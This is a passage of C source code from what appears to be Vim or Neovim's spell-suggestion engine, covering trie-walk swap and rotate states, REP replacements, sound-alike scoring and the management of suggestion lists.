// Also get here if the second char is not a word character. if (c == c2) { PROF_STORE(sp->ts_state) sp->ts_state = STATE_SWAP3; break; } if (TRY_DEEPER(su, stack, depth, SCORE_SWAP)) { go_deeper(stack, depth, SCORE_SWAP); #ifdef DEBUG_TRIEWALK snprintf(changename[depth], sizeof(changename[0]), "%.*s-%s: swap %c and %c", sp->ts_twordlen, tword, fword + sp->ts_fidx, c, c2); #endif PROF_STORE(sp->ts_state) sp->ts_state = STATE_UNSWAP; depth++; fl = utf_char2len(c2); memmove(p, p + n, fl); utf_char2bytes(c, p + fl); stack[depth].ts_fidxtry = sp->ts_fidx + n + fl; } else { // If this swap doesn't work then SWAP3 won't either. PROF_STORE(sp->ts_state) sp->ts_state = STATE_REP_INI; } break; case STATE_UNSWAP: // Undo the STATE_SWAP swap: "21" -> "12". p = fword + sp->ts_fidx; n = utfc_ptr2len(p); c = utf_ptr2char(p + n); memmove(p + utfc_ptr2len(p + n), p, n); utf_char2bytes(c, p); FALLTHROUGH; case STATE_SWAP3: // Swap two bytes, skipping one: "123" -> "321". We change // "fword" here, it's changed back afterwards at STATE_UNSWAP3. p = fword + sp->ts_fidx; n = utf_ptr2len(p); c = utf_ptr2char(p); fl = utf_ptr2len(p + n); c2 = utf_ptr2char(p + n); if (!soundfold && !spell_iswordp(p + n + fl, curwin)) { c3 = c; // don't swap non-word char } else { c3 = utf_ptr2char(p + n + fl); } // When characters are identical: "121" then SWAP3 result is // identical, ROT3L result is same as SWAP: "211", ROT3L result is // same as SWAP on next char: "112". Thus skip all swapping. // Also skip when c3 is NUL. // Also get here when the third character is not a word character. // Second character may any char: "a.b" -> "b.a" if (c == c3 || c3 == NUL) { PROF_STORE(sp->ts_state) sp->ts_state = STATE_REP_INI; break; } if (TRY_DEEPER(su, stack, depth, SCORE_SWAP3)) { go_deeper(stack, depth, SCORE_SWAP3); #ifdef DEBUG_TRIEWALK sprintf(changename[depth], "%.*s-%s: swap3 %c and %c", sp->ts_twordlen, tword, fword + sp->ts_fidx, c, c3); #endif PROF_STORE(sp->ts_state) sp->ts_state = STATE_UNSWAP3; depth++; tl = utf_char2len(c3); memmove(p, p + n + fl, tl); utf_char2bytes(c2, p + tl); utf_char2bytes(c, p + fl + tl); stack[depth].ts_fidxtry = sp->ts_fidx + n + fl + tl; } else { PROF_STORE(sp->ts_state) sp->ts_state = STATE_REP_INI; } break; case STATE_UNSWAP3: // Undo STATE_SWAP3: "321" -> "123" p = fword + sp->ts_fidx; n = utfc_ptr2len(p); c2 = utf_ptr2char(p + n); fl = utfc_ptr2len(p + n); c = utf_ptr2char(p + n + fl); tl = utfc_ptr2len(p + n + fl); memmove(p + fl + tl, p, n); utf_char2bytes(c, p); utf_char2bytes(c2, p + tl); p = p + tl; if (!soundfold && !spell_iswordp(p, curwin)) { // Middle char is not a word char, skip the rotate. First and // third char were already checked at swap and swap3. PROF_STORE(sp->ts_state) sp->ts_state = STATE_REP_INI; break; } // Rotate three characters left: "123" -> "231". We change // "fword" here, it's changed back afterwards at STATE_UNROT3L. if (TRY_DEEPER(su, stack, depth, SCORE_SWAP3)) { go_deeper(stack, depth, SCORE_SWAP3); #ifdef DEBUG_TRIEWALK p = fword + sp->ts_fidx; sprintf(changename[depth], "%.*s-%s: rotate left %c%c%c", sp->ts_twordlen, tword, fword + sp->ts_fidx, p[0], p[1], p[2]); #endif PROF_STORE(sp->ts_state) sp->ts_state = STATE_UNROT3L; ++depth; p = fword + sp->ts_fidx; n = utf_ptr2len(p); c = utf_ptr2char(p); fl = utf_ptr2len(p + n); fl += utf_ptr2len(p + n + fl); memmove(p, p + n, fl); utf_char2bytes(c, p + fl); stack[depth].ts_fidxtry = sp->ts_fidx + n + fl; } else { PROF_STORE(sp->ts_state) sp->ts_state = STATE_REP_INI; } break; case STATE_UNROT3L: // Undo ROT3L: "231" -> "123" p = fword + sp->ts_fidx; n = utfc_ptr2len(p); n += utfc_ptr2len(p + n); c = utf_ptr2char(p + n); tl = utfc_ptr2len(p + n); memmove(p + tl, p, n); utf_char2bytes(c, p); // Rotate three bytes right: "123" -> "312". We change "fword" // here, it's changed back afterwards at STATE_UNROT3R. if (TRY_DEEPER(su, stack, depth, SCORE_SWAP3)) { go_deeper(stack, depth, SCORE_SWAP3); #ifdef DEBUG_TRIEWALK p = fword + sp->ts_fidx; sprintf(changename[depth], "%.*s-%s: rotate right %c%c%c", sp->ts_twordlen, tword, fword + sp->ts_fidx, p[0], p[1], p[2]); #endif PROF_STORE(sp->ts_state) sp->ts_state = STATE_UNROT3R; ++depth; p = fword + sp->ts_fidx; n = utf_ptr2len(p); n += utf_ptr2len(p + n); c = utf_ptr2char(p + n); tl = utf_ptr2len(p + n); memmove(p + tl, p, n); utf_char2bytes(c, p); stack[depth].ts_fidxtry = sp->ts_fidx + n + tl; } else { PROF_STORE(sp->ts_state) sp->ts_state = STATE_REP_INI; } break; case STATE_UNROT3R: // Undo ROT3R: "312" -> "123" p = fword + sp->ts_fidx; c = utf_ptr2char(p); tl = utfc_ptr2len(p); n = utfc_ptr2len(p + tl); n += utfc_ptr2len(p + tl + n); memmove(p, p + tl, n); utf_char2bytes(c, p + n); FALLTHROUGH; case STATE_REP_INI: // Check if matching with REP items from the .aff file would work. // Quickly skip if: // - there are no REP items and we are not in the soundfold trie // - the score is going to be too high anyway // - already applied a REP item or swapped here if ((lp->lp_replang == NULL && !soundfold) || sp->ts_score + SCORE_REP >= su->su_maxscore || sp->ts_fidx < sp->ts_fidxtry) { PROF_STORE(sp->ts_state) sp->ts_state = STATE_FINAL; break; } // Use the first byte to quickly find the first entry that may // match. If the index is -1 there is none. if (soundfold) { sp->ts_curi = slang->sl_repsal_first[fword[sp->ts_fidx]]; } else { sp->ts_curi = lp->lp_replang->sl_rep_first[fword[sp->ts_fidx]]; } if (sp->ts_curi < 0) { PROF_STORE(sp->ts_state) sp->ts_state = STATE_FINAL; break; } PROF_STORE(sp->ts_state) sp->ts_state = STATE_REP; FALLTHROUGH; case STATE_REP: // Try matching with REP items from the .aff file. For each match // replace the characters and check if the resulting word is // valid. p = fword + sp->ts_fidx; if (soundfold) { gap = &slang->sl_repsal; } else { gap = &lp->lp_replang->sl_rep; } while (sp->ts_curi < gap->ga_len) { ftp = (fromto_T *)gap->ga_data + sp->ts_curi++; if (*ftp->ft_from != *p) { // past possible matching entries sp->ts_curi = gap->ga_len; break; } if (STRNCMP(ftp->ft_from, p, STRLEN(ftp->ft_from)) == 0 && TRY_DEEPER(su, stack, depth, SCORE_REP)) { go_deeper(stack, depth, SCORE_REP); #ifdef DEBUG_TRIEWALK sprintf(changename[depth], "%.*s-%s: replace %s with %s", sp->ts_twordlen, tword, fword + sp->ts_fidx, ftp->ft_from, ftp->ft_to); #endif // Need to undo this afterwards. PROF_STORE(sp->ts_state) sp->ts_state = STATE_REP_UNDO; // Change the "from" to the "to" string. ++depth; fl = (int)STRLEN(ftp->ft_from); tl = (int)STRLEN(ftp->ft_to); if (fl != tl) { STRMOVE(p + tl, p + fl); repextra += tl - fl; } memmove(p, ftp->ft_to, tl); stack[depth].ts_fidxtry = sp->ts_fidx + tl; stack[depth].ts_tcharlen = 0; break; } } if (sp->ts_curi >= gap->ga_len && sp->ts_state == STATE_REP) { // No (more) matches. PROF_STORE(sp->ts_state) sp->ts_state = STATE_FINAL; } break; case STATE_REP_UNDO: // Undo a REP replacement and continue with the next one. if (soundfold) { gap = &slang->sl_repsal; } else { gap = &lp->lp_replang->sl_rep; } ftp = (fromto_T *)gap->ga_data + sp->ts_curi - 1; fl = (int)STRLEN(ftp->ft_from); tl = (int)STRLEN(ftp->ft_to); p = fword + sp->ts_fidx; if (fl != tl) { STRMOVE(p + fl, p + tl); repextra -= tl - fl; } memmove(p, ftp->ft_from, fl); PROF_STORE(sp->ts_state) sp->ts_state = STATE_REP; break; default: // Did all possible states at this level, go up one level. --depth; if (depth >= 0 && stack[depth].ts_prefixdepth == PFD_PREFIXTREE) { // Continue in or go back to the prefix tree. byts = pbyts; idxs = pidxs; } // Don't check for CTRL-C too often, it takes time. if (--breakcheckcount == 0) { os_breakcheck(); breakcheckcount = 1000; } } } } // Go one level deeper in the tree. static void go_deeper(trystate_T *stack, int depth, int score_add) { stack[depth + 1] = stack[depth]; stack[depth + 1].ts_state = STATE_START; stack[depth + 1].ts_score = stack[depth].ts_score + score_add; stack[depth + 1].ts_curi = 1; // start just after length byte stack[depth + 1].ts_flags = 0; } // Case-folding may change the number of bytes: Count nr of chars in // fword[flen] and return the byte length of that many chars in "word". static int nofold_len(char_u *fword, int flen, char_u *word) { char_u *p; int i = 0; for (p = fword; p < fword + flen; MB_PTR_ADV(p)) { i++; } for (p = word; i > 0; MB_PTR_ADV(p)) { i--; } return (int)(p - word); } // "fword" is a good word with case folded. Find the matching keep-case // words and put it in "kword". // Theoretically there could be several keep-case words that result in the // same case-folded word, but we only find one... static void find_keepcap_word(slang_T *slang, char_u *fword, char_u *kword) { char_u uword[MAXWLEN]; // "fword" in upper-case int depth; idx_T tryidx; // The following arrays are used at each depth in the tree. idx_T arridx[MAXWLEN]; int round[MAXWLEN]; int fwordidx[MAXWLEN]; int uwordidx[MAXWLEN]; int kwordlen[MAXWLEN]; int flen, ulen; int l; int len; int c; idx_T lo, hi, m; char_u *p; char_u *byts = slang->sl_kbyts; // array with bytes of the words idx_T *idxs = slang->sl_kidxs; // array with indexes if (byts == NULL) { // array is empty: "cannot happen" *kword = NUL; return; } // Make an all-cap version of "fword". allcap_copy(fword, uword); // Each character needs to be tried both case-folded and upper-case. // All this gets very complicated if we keep in mind that changing case // may change the byte length of a multi-byte character... depth = 0; arridx[0] = 0; round[0] = 0; fwordidx[0] = 0; uwordidx[0] = 0; kwordlen[0] = 0; while (depth >= 0) { if (fword[fwordidx[depth]] == NUL) { // We are at the end of "fword". If the tree allows a word to end // here we have found a match. if (byts[arridx[depth] + 1] == 0) { kword[kwordlen[depth]] = NUL; return; } // kword is getting too long, continue one level up --depth; } else if (++round[depth] > 2) { // tried both fold-case and upper-case character, continue one // level up --depth; } else { // round[depth] == 1: Try using the folded-case character. // round[depth] == 2: Try using the upper-case character. flen = utf_ptr2len(fword + fwordidx[depth]); ulen = utf_ptr2len(uword + uwordidx[depth]); if (round[depth] == 1) { p = fword + fwordidx[depth]; l = flen; } else { p = uword + uwordidx[depth]; l = ulen; } for (tryidx = arridx[depth]; l > 0; --l) { // Perform a binary search in the list of accepted bytes. len = byts[tryidx++]; c = *p++; lo = tryidx; hi = tryidx + len - 1; while (lo < hi) { m = (lo + hi) / 2; if (byts[m] > c) { hi = m - 1; } else if (byts[m] < c) { lo = m + 1; } else { lo = hi = m; break; } } // Stop if there is no matching byte. if (hi < lo || byts[lo] != c) { break; } // Continue at the child (if there is one). tryidx = idxs[lo]; } if (l == 0) { // Found the matching char. Copy it to "kword" and go a // level deeper. if (round[depth] == 1) { STRNCPY(kword + kwordlen[depth], fword + fwordidx[depth], flen); kwordlen[depth + 1] = kwordlen[depth] + flen; } else { STRNCPY(kword + kwordlen[depth], uword + uwordidx[depth], ulen); kwordlen[depth + 1] = kwordlen[depth] + ulen; } fwordidx[depth + 1] = fwordidx[depth] + flen; uwordidx[depth + 1] = uwordidx[depth] + ulen; ++depth; arridx[depth] = tryidx; round[depth] = 0; } } } // Didn't find it: "cannot happen". *kword = NUL; } // Compute the sound-a-like score for suggestions in su->su_ga and add them to // su->su_sga. static void score_comp_sal(suginfo_T *su) { langp_T *lp; char_u badsound[MAXWLEN]; int i; suggest_T *stp; suggest_T *sstp; int score; ga_grow(&su->su_sga, su->su_ga.ga_len); // Use the sound-folding of the first language that supports it. for (int lpi = 0; lpi < curwin->w_s->b_langp.ga_len; ++lpi) { lp = LANGP_ENTRY(curwin->w_s->b_langp, lpi); if (!GA_EMPTY(&lp->lp_slang->sl_sal)) { // soundfold the bad word spell_soundfold(lp->lp_slang, su->su_fbadword, true, badsound); for (i = 0; i < su->su_ga.ga_len; ++i) { stp = &SUG(su->su_ga, i); // Case-fold the suggested word, sound-fold it and compute the // sound-a-like score. score = stp_sal_score(stp, su, lp->lp_slang, badsound); if (score < SCORE_MAXMAX) { // Add the suggestion. sstp = &SUG(su->su_sga, su->su_sga.ga_len); sstp->st_word = vim_strsave(stp->st_word); sstp->st_wordlen = stp->st_wordlen; sstp->st_score = score; sstp->st_altscore = 0; sstp->st_orglen = stp->st_orglen; ++su->su_sga.ga_len; } } break; } } } // Combine the list of suggestions in su->su_ga and su->su_sga. // They are entwined. static void score_combine(suginfo_T *su) { garray_T ga; garray_T *gap; langp_T *lp; suggest_T *stp; char_u *p; char_u badsound[MAXWLEN]; int round; slang_T *slang = NULL; // Add the alternate score to su_ga. for (int lpi = 0; lpi < curwin->w_s->b_langp.ga_len; ++lpi) { lp = LANGP_ENTRY(curwin->w_s->b_langp, lpi); if (!GA_EMPTY(&lp->lp_slang->sl_sal)) { // soundfold the bad word slang = lp->lp_slang; spell_soundfold(slang, su->su_fbadword, true, badsound); for (int i = 0; i < su->su_ga.ga_len; ++i) { stp = &SUG(su->su_ga, i); stp->st_altscore = stp_sal_score(stp, su, slang, badsound); if (stp->st_altscore == SCORE_MAXMAX) { stp->st_score = (stp->st_score * 3 + SCORE_BIG) / 4; } else { stp->st_score = (stp->st_score * 3 + stp->st_altscore) / 4; } stp->st_salscore = false; } break; } } if (slang == NULL) { // Using "double" without sound folding. (void)cleanup_suggestions(&su->su_ga, su->su_maxscore, su->su_maxcount); return; } // Add the alternate score to su_sga. for (int i = 0; i < su->su_sga.ga_len; ++i) { stp = &SUG(su->su_sga, i); stp->st_altscore = spell_edit_score(slang, su->su_badword, stp->st_word); if (stp->st_score == SCORE_MAXMAX) { stp->st_score = (SCORE_BIG * 7 + stp->st_altscore) / 8; } else { stp->st_score = (stp->st_score * 7 + stp->st_altscore) / 8; } stp->st_salscore = true; } // Remove bad suggestions, sort the suggestions and truncate at "maxcount" // for both lists. check_suggestions(su, &su->su_ga); (void)cleanup_suggestions(&su->su_ga, su->su_maxscore, su->su_maxcount); check_suggestions(su, &su->su_sga); (void)cleanup_suggestions(&su->su_sga, su->su_maxscore, su->su_maxcount); ga_init(&ga, (int)sizeof(suginfo_T), 1); ga_grow(&ga, su->su_ga.ga_len + su->su_sga.ga_len); stp = &SUG(ga, 0); for (int i = 0; i < su->su_ga.ga_len || i < su->su_sga.ga_len; ++i) { // round 1: get a suggestion from su_ga // round 2: get a suggestion from su_sga for (round = 1; round <= 2; ++round) { gap = round == 1 ? &su->su_ga : &su->su_sga; if (i < gap->ga_len) { // Don't add a word if it's already there. p = SUG(*gap, i).st_word; int j; for (j = 0; j < ga.ga_len; ++j) { if (STRCMP(stp[j].st_word, p) == 0) { break; } } if (j == ga.ga_len) { stp[ga.ga_len++] = SUG(*gap, i); } else { xfree(p); } } } } ga_clear(&su->su_ga); ga_clear(&su->su_sga); // Truncate the list to the number of suggestions that will be displayed. if (ga.ga_len > su->su_maxcount) { for (int i = su->su_maxcount; i < ga.ga_len; ++i) { xfree(stp[i].st_word); } ga.ga_len = su->su_maxcount; } su->su_ga = ga; } /// For the goodword in "stp" compute the soundalike score compared to the /// badword. /// /// @param badsound sound-folded badword static int stp_sal_score(suggest_T *stp, suginfo_T *su, slang_T *slang, char_u *badsound) { char_u *p; char_u *pbad; char_u *pgood; char_u badsound2[MAXWLEN]; char_u fword[MAXWLEN]; char_u goodsound[MAXWLEN]; char_u goodword[MAXWLEN]; int lendiff; lendiff = su->su_badlen - stp->st_orglen; if (lendiff >= 0) { pbad = badsound; } else { // soundfold the bad word with more characters following (void)spell_casefold(curwin, su->su_badptr, stp->st_orglen, fword, MAXWLEN); // When joining two words the sound often changes a lot. E.g., "t he" // sounds like "t h" while "the" sounds like "@". Avoid that by // removing the space. Don't do it when the good word also contains a // space. if (ascii_iswhite(su->su_badptr[su->su_badlen]) && *skiptowhite(stp->st_word) == NUL) { for (p = fword; *(p = skiptowhite(p)) != NUL;) { STRMOVE(p, p + 1); } } spell_soundfold(slang, fword, true, badsound2); pbad = badsound2; } if (lendiff > 0 && stp->st_wordlen + lendiff < MAXWLEN) { // Add part of the bad word to the good word, so that we soundfold // what replaces the bad word. STRCPY(goodword, stp->st_word); STRLCPY(goodword + stp->st_wordlen, su->su_badptr + su->su_badlen - lendiff, lendiff + 1); pgood = goodword; } else { pgood = stp->st_word; } // Sound-fold the word and compute the score for the difference. spell_soundfold(slang, pgood, false, goodsound); return soundalike_score(goodsound, pbad); } static sftword_T dumsft; #define HIKEY2SFT(p) ((sftword_T *)(p - (dumsft.sft_word - (char_u *)&dumsft))) #define HI2SFT(hi) HIKEY2SFT((hi)->hi_key) // Prepare for calling suggest_try_soundalike(). static void suggest_try_soundalike_prep(void) { langp_T *lp; slang_T *slang; // Do this for all languages that support sound folding and for which a // .sug file has been loaded. for (int lpi = 0; lpi < curwin->w_s->b_langp.ga_len; ++lpi) { lp = LANGP_ENTRY(curwin->w_s->b_langp, lpi); slang = lp->lp_slang; if (!GA_EMPTY(&slang->sl_sal) && slang->sl_sbyts != NULL) { // prepare the hashtable used by add_sound_suggest() hash_init(&slang->sl_sounddone); } } } // Find suggestions by comparing the word in a sound-a-like form. // Note: This doesn't support postponed prefixes. static void suggest_try_soundalike(suginfo_T *su) { char_u salword[MAXWLEN]; langp_T *lp; slang_T *slang; // Do this for all languages that support sound folding and for which a // .sug file has been loaded. for (int lpi = 0; lpi < curwin->w_s->b_langp.ga_len; ++lpi) { lp = LANGP_ENTRY(curwin->w_s->b_langp, lpi); slang = lp->lp_slang; if (!GA_EMPTY(&slang->sl_sal) && slang->sl_sbyts != NULL) { // soundfold the bad word spell_soundfold(slang, su->su_fbadword, true, salword); // try all kinds of inserts/deletes/swaps/etc. // TODO: also soundfold the next words, so that we can try joining // and splitting #ifdef SUGGEST_PROFILE prof_init(); #endif suggest_trie_walk(su, lp, salword, true); #ifdef SUGGEST_PROFILE prof_report("soundalike"); #endif } } } // Finish up after calling suggest_try_soundalike(). static void suggest_try_soundalike_finish(void) { langp_T *lp; slang_T *slang; int todo; hashitem_T *hi; // Do this for all languages that support sound folding and for which a // .sug file has been loaded. for (int lpi = 0; lpi < curwin->w_s->b_langp.ga_len; ++lpi) { lp = LANGP_ENTRY(curwin->w_s->b_langp, lpi); slang = lp->lp_slang; if (!GA_EMPTY(&slang->sl_sal) && slang->sl_sbyts != NULL) { // Free the info about handled words. todo = (int)slang->sl_sounddone.ht_used; for (hi = slang->sl_sounddone.ht_array; todo > 0; ++hi) { if (!HASHITEM_EMPTY(hi)) { xfree(HI2SFT(hi)); --todo; } } // Clear the hashtable, it may also be used by another region. hash_clear(&slang->sl_sounddone); hash_init(&slang->sl_sounddone); } } } /// A match with a soundfolded word is found. Add the good word(s) that /// produce this soundfolded word. /// /// @param score soundfold score static void add_sound_suggest(suginfo_T *su, char_u *goodword, int score, langp_T *lp) { slang_T *slang = lp->lp_slang; // language for sound folding int sfwordnr; char_u *nrline; int orgnr; char_u theword[MAXWLEN]; int i; int wlen; char_u *byts; idx_T *idxs; int n; int wordcount; int wc; int goodscore; hash_T hash; hashitem_T *hi; sftword_T *sft; int bc, gc; int limit; // It's very well possible that the same soundfold word is found several // times with different scores. Since the following is quite slow only do // the words that have a better score than before. Use a hashtable to // remember the words that have been done. hash = hash_hash(goodword); const size_t goodword_len = STRLEN(goodword); hi = hash_lookup(&slang->sl_sounddone, (const char *)goodword, goodword_len, hash); if (HASHITEM_EMPTY(hi)) { sft = xmalloc(sizeof(sftword_T) + goodword_len); sft->sft_score = score; memcpy(sft->sft_word, goodword, goodword_len + 1); hash_add_item(&slang->sl_sounddone, hi, sft->sft_word, hash); } else { sft = HI2SFT(hi); if (score >= sft->sft_score) { return; } sft->sft_score = score; } // Find the word nr in the soundfold tree. sfwordnr = soundfold_find(slang, goodword); if (sfwordnr < 0) { internal_error("add_sound_suggest()"); return; } // Go over the list of good words that produce this soundfold word nrline = ml_get_buf(slang->sl_sugbuf, (linenr_T)sfwordnr + 1, false); orgnr = 0; while (*nrline != NUL) { // The wordnr was stored in a minimal nr of bytes as an offset to the // previous wordnr. orgnr += bytes2offset(&nrline); byts = slang->sl_fbyts; idxs = slang->sl_fidxs; // Lookup the word "orgnr" one of the two tries. n = 0; wordcount = 0; for (wlen = 0; wlen < MAXWLEN - 3; ++wlen) { i = 1; if (wordcount == orgnr && byts[n + 1] == NUL) { break; // found end of word } if (byts[n + 1] == NUL) { ++wordcount; } // skip over the NUL bytes for (; byts[n + i] == NUL; ++i) { if (i > byts[n]) { // safety check STRCPY(theword + wlen, "BAD"); wlen += 3; goto badword; } } // One of the siblings must have the word. for (; i < byts[n]; ++i) { wc = idxs[idxs[n + i]]; // nr of words under this byte if (wordcount + wc > orgnr) { break; } wordcount += wc; } theword[wlen] = byts[n + i]; n = idxs[n + i]; } badword: theword[wlen] = NUL; // Go over the possible flags and regions. for (; i <= byts[n] && byts[n + i] == NUL; ++i) { char_u cword[MAXWLEN]; char_u *p; int flags = (int)idxs[n + i]; // Skip words with the NOSUGGEST flag if (flags & WF_NOSUGGEST) { continue; } if (flags & WF_KEEPCAP) { // Must find the word in the keep-case tree. find_keepcap_word(slang, theword, cword); p = cword; } else { flags |= su->su_badflags; if ((flags & WF_CAPMASK) != 0) { // Need to fix case according to "flags". make_case_word(theword, cword, flags); p = cword; } else { p = theword; } } // Add the suggestion. if (sps_flags & SPS_DOUBLE) { // Add the suggestion if the score isn't too bad. if (score <= su->su_maxscore) { add_suggestion(su, &su->su_sga, p, su->su_badlen, score, 0, false, slang, false); } } else { // Add a penalty for words in another region. if ((flags & WF_REGION) && (((unsigned)flags >> 16) & lp->lp_region) == 0) { goodscore = SCORE_REGION; } else { goodscore = 0; } // Add a small penalty for changing the first letter from // lower to upper case. Helps for "tath" -> "Kath", which is // less common than "tath" -> "path". Don't do it when the // letter is the same, that has already been counted. gc = utf_ptr2char(p); if (SPELL_ISUPPER(gc)) { bc = utf_ptr2char(su->su_badword); if (!SPELL_ISUPPER(bc) && SPELL_TOFOLD(bc) != SPELL_TOFOLD(gc)) { goodscore += SCORE_ICASE / 2; } } // Compute the score for the good word. This only does letter // insert/delete/swap/replace. REP items are not considered, // which may make the score a bit higher. // Use a limit for the score to make it work faster. Use // MAXSCORE(), because RESCORE() will change the score. // If the limit is very high then the iterative method is // inefficient, using an array is quicker. limit = MAXSCORE(su->su_sfmaxscore - goodscore, score); if (limit > SCORE_LIMITMAX) { goodscore += spell_edit_score(slang, su->su_badword, p); } else { goodscore += spell_edit_score_limit(slang, su->su_badword, p, limit); } // When going over the limit don't bother to do the rest. if (goodscore < SCORE_MAXMAX) { // Give a bonus to words seen before. goodscore = score_wordcount_adj(slang, goodscore, p, false); // Add the suggestion if the score isn't too bad. goodscore = RESCORE(goodscore, score); if (goodscore <= su->su_sfmaxscore) { add_suggestion(su, &su->su_ga, p, su->su_badlen, goodscore, score, true, slang, true); } } } } } } // Find word "word" in fold-case tree for "slang" and return the word number. static int soundfold_find(slang_T *slang, char_u *word) { idx_T arridx = 0; int len; int wlen = 0; int c; char_u *ptr = word; char_u *byts; idx_T *idxs; int wordnr = 0; byts = slang->sl_sbyts; idxs = slang->sl_sidxs; for (;;) { // First byte is the number of possible bytes. len = byts[arridx++]; // If the first possible byte is a zero the word could end here. // If the word ends we found the word. If not skip the NUL bytes. c = ptr[wlen]; if (byts[arridx] == NUL) { if (c == NUL) { break; } // Skip over the zeros, there can be several. while (len > 0 && byts[arridx] == NUL) { ++arridx; --len; } if (len == 0) { return -1; // no children, word should have ended here } ++wordnr; } // If the word ends we didn't find it. if (c == NUL) { return -1; } // Perform a binary search in the list of accepted bytes. if (c == TAB) { // <Tab> is handled like <Space> c = ' '; } while (byts[arridx] < c) { // The word count is in the first idxs[] entry of the child. wordnr += idxs[idxs[arridx]]; ++arridx; if (--len == 0) { // end of the bytes, didn't find it return -1; } } if (byts[arridx] != c) { // didn't find the byte return -1; } // Continue at the child (if there is one). arridx = idxs[arridx]; ++wlen; // One space in the good word may stand for several spaces in the // checked word. if (c == ' ') { while (ptr[wlen] == ' ' || ptr[wlen] == TAB) { ++wlen; } } } return wordnr; } // Copy "fword" to "cword", fixing case according to "flags". static void make_case_word(char_u *fword, char_u *cword, int flags) { if (flags & WF_ALLCAP) { // Make it all upper-case allcap_copy(fword, cword); } else if (flags & WF_ONECAP) { // Make the first letter upper-case onecap_copy(fword, cword, true); } else { // Use goodword as-is. STRCPY(cword, fword); } } // Returns true if "c1" and "c2" are similar characters according to the MAP // lines in the .aff file. static bool similar_chars(slang_T *slang, int c1, int c2) { int m1, m2; char_u buf[MB_MAXBYTES + 1]; hashitem_T *hi; if (c1 >= 256) { buf[utf_char2bytes(c1, buf)] = 0; hi = hash_find(&slang->sl_map_hash, buf); if (HASHITEM_EMPTY(hi)) { m1 = 0; } else { m1 = utf_ptr2char(hi->hi_key + STRLEN(hi->hi_key) + 1); } } else { m1 = slang->sl_map_array[c1]; } if (m1 == 0) { return false; } if (c2 >= 256) { buf[utf_char2bytes(c2, buf)] = 0; hi = hash_find(&slang->sl_map_hash, buf); if (HASHITEM_EMPTY(hi)) { m2 = 0; } else { m2 = utf_ptr2char(hi->hi_key + STRLEN(hi->hi_key) + 1); } } else { m2 = slang->sl_map_array[c2]; } return m1 == m2; } /// Adds a suggestion to the list of suggestions. /// For a suggestion that is already in the list the lowest score is remembered. /// /// @param gap either su_ga or su_sga /// @param badlenarg len of bad word replaced with "goodword" /// @param had_bonus value for st_had_bonus /// @param slang language for sound folding /// @param maxsf su_maxscore applies to soundfold score, su_sfmaxscore to the total score. static void add_suggestion(suginfo_T *su, garray_T *gap, const char_u *goodword, int badlenarg, int score, int altscore, bool had_bonus, slang_T *slang, bool maxsf) { int goodlen; // len of goodword changed int badlen; // len of bad word changed suggest_T *stp; suggest_T new_sug; // Minimize "badlen" for consistency. Avoids that changing "the the" to // "thee the" is added next to changing the first "the" the "thee". const char_u *pgood = goodword + STRLEN(goodword); char_u *pbad = su->su_badptr + badlenarg; for (;;) { goodlen = (int)(pgood - goodword); badlen = (int)(pbad - su->su_badptr); if (goodlen <= 0 || badlen <= 0) { break; } MB_PTR_BACK(goodword, pgood); MB_PTR_BACK(su->su_badptr, pbad); if (utf_ptr2char(pgood) != utf_ptr2char(pbad)) { break; } } if (badlen == 0 && goodlen == 0) { // goodword doesn't change anything; may happen for "the the" changing // the first "the" to itself. return; } int i; if (GA_EMPTY(gap)) { i = -1; } else { // Check if the word is already there. Also check the length that is // being replaced "thes," -> "these" is a different suggestion from // "thes" -> "these". stp = &SUG(*gap, 0); for (i = gap->ga_len; --i >= 0; ++stp) { if (stp->st_wordlen == goodlen && stp->st_orglen == badlen && STRNCMP(stp->st_word, goodword, goodlen) == 0) { // Found it. Remember the word with the lowest score. if (stp->st_slang == NULL) { stp->st_slang = slang; } new_sug.st_score = score; new_sug.st_altscore = altscore; new_sug.st_had_bonus = had_bonus; if (stp->st_had_bonus != had_bonus) { // Only one of the two had the soundalike score computed. // Need to do that for the other one now, otherwise the // scores can't be compared. This happens because // suggest_try_change() doesn't compute the soundalike // word to keep it fast, while some special methods set // the soundalike score to zero. if (had_bonus) { rescore_one(su, stp); } else { new_sug.st_word = stp->st_word; new_sug.st_wordlen = stp->st_wordlen; new_sug.st_slang = stp->st_slang; new_sug.st_orglen = badlen; rescore_one(su, &new_sug); } } if (stp->st_score > new_sug.st_score) { stp->st_score = new_sug.st_score; stp->st_altscore = new_sug.st_altscore; stp->st_had_bonus = new_sug.st_had_bonus; } break; } } } if (i < 0) { // Add a suggestion. stp = GA_APPEND_VIA_PTR(suggest_T, gap); stp->st_word = vim_strnsave(goodword, goodlen); stp->st_wordlen = goodlen; stp->st_score = score; stp->st_altscore = altscore; stp->st_had_bonus = had_bonus; stp->st_orglen = badlen; stp->st_slang = slang; // If we have too many suggestions now, sort the list and keep // the best suggestions. if (gap->ga_len > SUG_MAX_COUNT(su)) { if (maxsf) { su->su_sfmaxscore = cleanup_suggestions(gap, su->su_sfmaxscore, SUG_CLEAN_COUNT(su)); } else { su->su_maxscore = cleanup_suggestions(gap, su->su_maxscore, SUG_CLEAN_COUNT(su)); } } } } /// Suggestions may in fact be flagged as errors. Esp. for banned words and /// for split words, such as "the the". Remove these from the list here. /// /// @param gap either su_ga or su_sga static void check_suggestions(suginfo_T *su, garray_T *gap) { suggest_T *stp; char_u longword[MAXWLEN + 1]; int len; hlf_T attr; if (gap->ga_len == 0) { return; } stp = &SUG(*gap, 0); for (int i = gap->ga_len - 1; i >= 0; --i) { // Need to append what follows to check for "the the". STRLCPY(longword, stp[i].st_word, MAXWLEN + 1); len = stp[i].st_wordlen; STRLCPY(longword + len, su->su_badptr + stp[i].st_orglen, MAXWLEN - len + 1); attr = HLF_COUNT; (void)spell_check(curwin, longword, &attr, NULL, false); if (attr != HLF_COUNT) { // Remove this entry. xfree(stp[i].st_word); --gap->ga_len; if (i < gap->ga_len) { memmove(stp + i, stp + i + 1, sizeof(suggest_T) * (gap->ga_len - i)); } } } } // Add a word to be banned. static void add_banned(suginfo_T *su, char_u *word) { char_u *s; hash_T hash; hashitem_T *hi; hash = hash_hash(word); const size_t word_len = STRLEN(word); hi = hash_lookup(&su->su_banned, (const char *)word, word_len, hash); if (HASHITEM_EMPTY(hi)) { s = xmemdupz(word, word_len); hash_add_item(&su->su_banned, hi, s, hash); } } // Recompute the score for all suggestions if sound-folding is possible. This // is slow, thus only done for the final results. static void rescore_suggestions(suginfo_T *su) { if (su->su_sallang != NULL) { for (int i = 0; i < su->su_ga.ga_len; ++i) { rescore_one(su, &SUG(su->su_ga, i)); } } } // Recompute the score for one suggestion if sound-folding is possible. static void 